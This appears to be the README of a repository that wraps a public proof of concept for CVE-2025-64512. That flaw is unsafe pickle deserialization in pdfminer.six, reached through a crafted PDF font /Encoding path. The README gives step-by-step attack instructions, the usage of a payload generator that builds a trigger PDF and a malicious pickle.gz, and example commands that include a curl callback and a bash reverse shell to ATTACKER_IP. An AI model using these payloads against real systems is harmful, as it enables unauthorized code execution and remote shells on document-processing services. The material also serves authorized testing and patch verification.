
غلاف CLI لـ PoC الخاص بـ CVE-2025-64512 يُنشئ حمولات PDF ضارة وملفات pickle.gz لاستغلال إلغاء التسلسل غير الآمن في pdfminer.six، مما يتيح تنفيذ التعليمات البرمجية عن بُعد عبر معالجة ملفات PDF مُعدَّة خصيصًا.
⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبارات الاختراق المصرّح بها فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرّح به غير قانوني.
pdfminer.six هي مكتبة Python تُستخدم على نطاق واسع لاستخراج النصوص والبيانات الوصفية من ملفات PDF، وغالبًا ما تكون مضمّنة في خطوط معالجة المستندات وأدوات سطر الأوامر وسير عمل استيعاب البيانات والذكاء الاصطناعي. الإصدارات المتأثرة تحمّل ملفات ذاكرة التخزين المؤقت لـ CMap (خريطة الأحرف) لدعم خطوط CJK باستخدام وحدة pickle في Python، دون التحقق من أن المسار الناتج يبقى داخل دليل التخزين المؤقت المتوقع.
يمكن لملف PDF مصمم خصيصًا أن يشير إلى مسار يتحكم به المهاجم لهذا البحث عن CMap. إذا تمكن المهاجم أيضًا من وضع ملف .pickle.gz خبيث في ذلك المسار الذي تم حله (مثلًا عبر ميزة رفع ملفات في نفس الموقع)، فإن معالجة ملف PDF تؤدي إلى تنفيذ pickle.loads() على بيانات يتحكم بها المهاجم، مما ينتج عنه تنفيذ تعليمات برمجية عشوائية. هذه الآلية بالضبط — بما في ذلك بنية ملف PDF الخاص بالإثبات PoC — تم توثيقها بواسطة mtolley في الاستشارة الأمنية الرسمية.
يحتوي هذا المستودع على غلاف صغير لواجهة سطر الأوامر CLI حول الإثبات الرسمي المفاهيمي المنشور في استشارة GitHub الأمنية لـ CVE-2025-64512. إنه لا يقدم أي تقنية استغلال جديدة — قالب ملف PDF الخبيث مأخوذ حرفيًا تقريبًا من الاستشارة نفسها؛ هذا السكربت يحدد فقط المسار الهدف والأمر الذي سيتم تنفيذه وأسماء ملفات الإخراج لتسهيل إعادة استخدام الإثبات PoC.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2025-64512 |
| المتأثر | pdfminer.six ≤ 20250506 (وكذلك markitdown ≤ 0.1.3 و pdfplumber ≤ 0.11.7) |
| النوع | إلغاء تسلسل غير آمن (CWE-502) |
| الصلاحيات | لا شيء (بدون مصادقة، إذا كانت معالجة PDF مكشوفة) |
| التأثير | تنفيذ تعليمات برمجية عشوائية |
| التصحيح | pdfminer.six 20251107+ |
تقوم الدالة CMapDB._load_data() في pdfminer.six بحل اسم CMap — المأخوذ من إدخال /Encoding لخط PDF — إلى مسار ملف، وتحمّله باستخدام pickle.loads() إذا كان ينتهي بـ .pickle.gz. لا تتحقق الدالة من أن المسار الذي تم حله يبقى داخل دليل cmap/ الخاص بـ pdfminer.
/Encoding في خطه إلى مسار يختاره المهاجم (مشفر بعنوان URL، حيث يكون / كـ #2F)..pickle.gz خبيث موجود في <that path>.pickle.gz على نظام الملفات الهدف في وقت معالجة PDF.يمكن عادةً تسليم كلا الملفين عبر نفس قناة الرفع التي تتم معالجتها في النهاية بواسطة pdfminer.six (مثل خط استيعاب المستندات)، طالما أن المسارات الناتجة على القرص يمكن التنبؤ بها أو اكتشافها.
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as <name>.pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
to process the trigger PDF
6. pickle.loads() executes the payload -> RCE
gzip، pickle، argparse)لا توجد تبعيات خارجية مطلوبة لتوليد الحمولة. يجب أن يكون لدى الهدف إصدار ضعيف من pdfminer.six (أو مشروع يعتمد عليه) يعالج بالفعل ملف PDF المرفوع.
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf)
--gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz)
--path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the
pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Command to execute on the target (default: id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
ينتج هذا:
payload.pickle.gz — ارفع هذا أولاً إلى .../uploads/payload.pickle.gztrigger.pdf — ارفع هذا ثانيًا؛ بمجرد أن يعالجه الهدف باستخدام pdfminer.six، سيتم تنفيذ الأمرpython3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz